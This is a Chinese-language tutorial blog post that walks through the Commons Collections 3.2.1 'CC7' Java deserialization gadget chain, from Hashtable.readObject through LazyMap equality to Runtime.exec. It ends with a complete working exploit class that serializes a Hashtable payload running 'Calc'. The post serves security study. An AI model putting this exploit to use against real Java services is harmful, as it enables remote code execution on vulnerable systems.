Java反序列化 CC7链

发布时间 2023-12-06 21:59:43作者: Jasper_sec

参考链接

https://blog.csdn.net/qq_35733751/article/details/119862728
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
https://y0n3er.github.io/undefined/45911.html

环境搭建

Commons Collections 3.2.1
JDK8u65

利用链分析

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

后半段是CC1-LazyMap,前半段是新东西,我们分析一下
首先涉及类的继承关系,当前类不存在的方法会到父类去找。

  • AbstractMapDecorator => LazyMap
  • AbstractMap => HashMap
  • lazyMap.equals 会调用 AbstractMapDecorator.equals
  • HashMap.equals 会调用 AbstractMap.equals

所以上面的chain实际上,可以把两个父类换成子类来理解

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
LazyMap.equals
HashMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

链子很短,但是里面构造传参其实挺绕的,具体看下面编写Exp吧。

Exp编写

CC1-LazyMap前半段

将问题转化成,怎么调用LazyMap.get("xxx");

Transformer[] transformers =  new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.put("key1","value1");
lazyMap.get("jasper");

image.png

AbstractMap#equals

AbstractMap是HashMap的父类,调HashMap.equals就会调到AbstractMap.equals
而equals里面会调到m.get(key),m是传进来的参数o的临时变量,key是当前hashMap里某个entry的键名,也就是说调hashMap.equals(lazyMap)就会调到lazyMap.get(hashMap.key)
于是将问题转化成调用hashMap.equals(lazyMap)
image.png

AbstractMapDecorator#equals

AbstractMapDecorator是LazyMap的父类,我们调用LazyMap.equals就会调用AbstractMapDecorator.equals,而AbstractMapDecorator.equals会调用map.equals()
这里的map指的是,LazyMap初始化以后,调用decorate函数,用来装饰lazyMap的Map对象
那我们给map传hashMap,给object传lazyMap,就变成hashMap.equals(lazyMap)
现在将问题变成如何调用LazyMap.equals(lazyMap)
image.png
这个时候我们可以先编写Exp,测试一下链条是否有用

Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("key1","value1");
HashMap<Object,Object> hashMap2 = new HashMap<>();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("key2","value2");

lazyMap1.equals(lazyMap2);

image.png

Hashtable#reconstitutionPut

最后找到Hashtable#reconstitutionPut的函数,函数作用是把反序列化后的键值对存到哈希表里。
tab是空的Entry数组,存反序例化之后的entry,key和value是当前要往tab里put的entry的键和值。
计算当前key的hash和index,然后遍历tab,判断数组里是否有和要put的entry相同hash值、key名的entry,如果有相同的hash值,就会走到下一个条件e.key.equals(key),这里如果数组里的entry的key(e.key)传lazyMap1,要put的entry的key(key)传lazyMap2,这个判断就会变成调用lazyMap1.equals(lazyMap2)。
于是就把问题转换下面的逻辑

reconstitutionPut(tab, lazyMap1,1);
reconstitutionPut(tab, lazyMap2,1);
其中还需要lazyMap1和lazyMap2的hashCode相同,涉及hash碰撞

image.png
这里也不卖关子,最后只需要这样设置两个lazyMap的key和value就可以实现hash碰撞

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

调试会发现第二个put调用了会提前触发链条,这是在CC6里遇到过的问题,解决方法是一样的

  • 改chainedTransformer保证本地不执行代码
  • put提前调用完之后,利用反射改回可执行代码的chainedTransformer
  • 删除因为lazyMap特性添加的、多余的key

最终exp如下

public class TestCC7 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };

        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        HashMap<Object,Object> hashMap2 = new HashMap<>();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);

        lazyMap1.put("yy",1);
        lazyMap2.put("zZ",1);
//        lazyMap1.equals(lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        //第二次put会提前触发链条
        hashtable.put(lazyMap2,1);
        // 反射调整chainedTransformer
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
//        // 删除多余的key
        lazyMap2.remove("yy");

        serialize(hashtable);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

这条链子确实有点绕,一开始我以为很快就能搞定,后面发现没那么简单。
记住Hashtable这个入口类吧。